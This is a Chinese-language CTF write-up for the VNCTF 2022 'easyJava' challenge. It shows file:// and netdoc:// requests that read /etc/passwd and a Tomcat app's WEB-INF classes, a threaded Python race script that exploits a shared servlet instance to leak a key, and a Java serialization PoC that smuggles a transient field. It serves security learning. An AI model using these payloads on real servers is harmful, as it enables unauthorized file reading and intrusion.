前言
也是直接看wp去尝试一下简单的java题了,没环境,也不知道这个代码的逻辑,只能跟着别人的逻辑走,所以挺简单的,主要就是看看java题什么个样
参考https://blog.csdn.net/snowlyzz/article/details/128052750?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171014340416800192298120%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=171014340416800192298120&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-7-128052750-null-null.142^v99^pc_search_result_base8&utm_term=VNCTF2022&spm=1018.2226.3001.4187
VNCTF 2022 easyJava
开始可以使用file协议读取文件内容
/file?url=file:///etc/passwd
然后就读java文件的内容
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entity
User.class
servlet
FileServlet.class
HelloWorldServlet.class
util
Secr3t.class
SerAndDe.class
UrlUtil.class
继续读
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class
然后反编译,idea可以自己反编译文件
然后就是一些java代码
下面分析重点部分
hello.class 中的doPOst方法
想要输出flag必须满足两个if条件
就是我们输入的key和代码的key相等和反序列化后的text和user对象相等
首先我们看看怎么获取key
首先调用的是Secr3t.getKey()
public static String getKey() {
return Key;
}
会返回key,但是我们仍然不知道key的值,这个返回不代表输出
然后我们找找,发现HelloWorldServlet.class里的doGet
但是这个条件很冲突,又要我们的name为vnctf2022,又要不为,这里涉及到一个Servlet的线程安全,servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象
而这个this.name 刚好判断的是实例化对象的属性,只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗。
反正大概就这个意思
import time
import requests
from threading import Thread
url = 'http://01b0fd97-c90e-46e3-8809-b624bb4cfa1d.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=snowy"
ses = requests.session()
def get(session, payload):
while True:
res = session.get(url=url+payload)
print(url+payload)
print(res.text)
if "key" in res.text:
print(res.text)
time.sleep(0.1)
if __name__ == '__main__':
for i in range(2):
Thread(target=get, args=(ses, payload1,)).start()
for j in range(2):
Thread(target=get, args=(ses, payload2,)).start()
然后就是反序列化了
这个问题看着很sb,其实就是叫你绕过user.java中的private transient String height;
这里的User.java 中 height 属性是由 transient修饰的,所以序列化的时候不会参与,我们只需要重写原来user类的readobjetc方法,在最后加上
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
s.defaultWriteObject();
//强制序列化name
s.writeObject(this.height);
}
poc
import entity.User;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws IOException {
User user = new User("m4n_q1u_666","666","180");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);
}
}